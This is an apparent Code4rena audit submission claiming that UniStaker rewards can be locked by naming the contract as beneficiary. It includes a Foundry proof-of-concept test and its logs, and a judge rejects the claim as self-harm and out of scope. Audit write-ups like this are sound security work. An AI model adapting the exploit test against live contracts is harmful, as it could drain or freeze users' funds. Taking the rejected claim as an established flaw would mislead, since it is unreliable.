Economic attack to lock fraction of rewards in Unistaker permanently

[c4-bot-1]

Lines of code

https://github.com/code-423n4/2024-02-uniswap-foundation/blob/491c7f63e5799d95a181be4a978b2f074dc219a5/src/UniStaker.sol#L271

Vulnerability details

Impact

In Unistaker.sol the stake function allows users to set any beneficiary to receive rewards. If the receiver of rewards is the Unistake Contract then that fraction of rewards will be locked permanently in the contract. The primary impact is this can lock funds permanently in the protocol, cheating users out of significant future earning, dependent on the economic power of the attacker. The secondary impact is this could incentivise degenerate cases(as already known) in false reward distribution as the locked reward token balance will inflate at a rapid rate as more reward are distributed into the protocol. At this point only a single false reward notification is required to leave the protocol insolvent.

Proof of Concept

pragma solidity ^0.8.17;

import "forge-std/Test.sol";

import {UniStaker} from "src/UniStaker.sol";
import {ERC20VotesMock} from "test/mocks/MockERC20Votes.sol";
import {ERC20Fake} from "test/fakes/ERC20Fake.sol";

contract DosTest is Test {

  UniStaker newUni;
  ERC20VotesMock newVote;
  ERC20Fake newToken;
  address adminDao = makeAddr("adminDao");
  address fakeDelegate = makeAddr("fakeDelegate");
  address notifierMock = makeAddr("NotifierMock");
  address ogStaker = makeAddr("ogStaker");
  address otherStaker = makeAddr("otherStaker");
  address benefit1 = makeAddr("benefit1");
  address benefit2 = makeAddr("benefit2");
  address benefit3 = makeAddr("benefit3");

  function setUp() public {
        newToken = new ERC20Fake();
        newVote = new ERC20VotesMock();
        newUni = new UniStaker(newToken,newVote,adminDao);
  }

  function test_dos() public {

        //Malicious user stakes to the UniStaker Address
        //Alias ogStaker
        //Set up mock staker
        vm.prank(ogStaker);
        newVote.mint(ogStaker,1000000);
        vm.prank(ogStaker);
        newVote.approve(address(newUni),1000000);
        vm.prank(ogStaker);
        newUni.stake(10, fakeDelegate, address(newUni));

        //Set up mock staker
        vm.prank(otherStaker);
        newVote.mint(otherStaker,1000000);
        vm.prank(otherStaker);
        newVote.approve(address(newUni),1000000);

        //Set up notifier
        //Reward distribution
        vm.prank(adminDao);
        newUni.setRewardNotifier(notifierMock,true);
        newToken.mint(notifierMock, 1e18);
        vm.prank(notifierMock);
        newToken.transfer(address(newUni),1e18);
        vm.prank(notifierMock);
        newUni.notifyRewardAmount(1e18);

        //Staker stakes
        //User stakes to protocol
        vm.prank(otherStaker);
        UniStaker.DepositIdentifier depoID = newUni.stake(10, fakeDelegate, benefit1);

        //Simulate protocol interaction
        for (uint i = 0; i < 10000; i++) {
                //Set up log values
                uint256 unclaimedReward1 = newUni.unclaimedReward(benefit1);
                uint256 unclaimedReward2 = newUni.unclaimedReward(benefit2);
                uint256 unclaimedReward3 = newUni.unclaimedReward(benefit3);
                uint256 unclaimedRewardOther = newUni.unclaimedReward(otherStaker);
                uint256 unclaimedRewardOg = newUni.unclaimedReward(address(newUni));

                console.log("unclaimed benefit1 for user");
                console.log(unclaimedReward1);
                console.log("unclaimed benefit2 for user");
                console.log(unclaimedReward2);
                console.log("unclaimed benefit3 for user");
                console.log(unclaimedReward3);
                console.log("unclaimed Other for user original account");
                console.log(unclaimedRewardOther);
                console.log("unclaimed rewards locked in uniStaker");
                console.log(unclaimedRewardOg);
                skip(100);

                //Users interacting with protocol
                vm.prank(otherStaker);
                newUni.alterBeneficiary(depoID,benefit2);
                skip(100);
                vm.prank(otherStaker);
                newUni.alterBeneficiary(depoID,benefit3);
                skip(100);
                vm.prank(otherStaker);
                newUni.alterBeneficiary(depoID,benefit1);
                skip(100);

        }
  }
}

As can be seen from the console logs

unclaimed benefit1 for user
  249999999999998400
  unclaimed benefit2 for user
  124999999999999200
  unclaimed benefit3 for user
  124999999999999200
  unclaimed Other for user original account
  0
  unclaimed rewards locked in uniStaker
  499999999999999999

An attacker with 50% economic power will lock 50 percent of the reward token received permanently in the protocol, meaning other users stand to lose 50% of their rewards permanently for the rest of the protocols lifetime.

This could also supplement further reward distribution abuse due to the line

(scaledRewardRate * REWARD_DURATION) > (REWARD_TOKEN.balanceOf(address(this)) * SCALE_FACTOR)

which could lead to an insolvent protocol due to false reward representation, however this is not in scope for the concept.

Tools Used

forge

Recommended Mitigation Steps

I would recommend that users be prevented from staking to the uniStaker contract.

Assessed type

Uniswap

[MarioPoneder]

User self-harm and requires malicious reward notifier.

Misbehaving reward notifier, OOS see README:

Publicly Known Issues

1. A misbehaving reward notifier contract could grief stakers by frequently notifying this contract of tiny rewards, thereby continuously stretching out the time duration over which real rewards are distributed. It is required that reward notifiers supply reasonable rewards at reasonable intervals.
2. A misbehaving reward notifier contract could falsely notify this contract of rewards that were not actually distributed, creating a shortfall for those claiming their rewards after others. It is required that a notifier contract always transfers the _amount to this contract before calling this method.

[c4-judge]

MarioPoneder marked the issue as unsatisfactory: Insufficient quality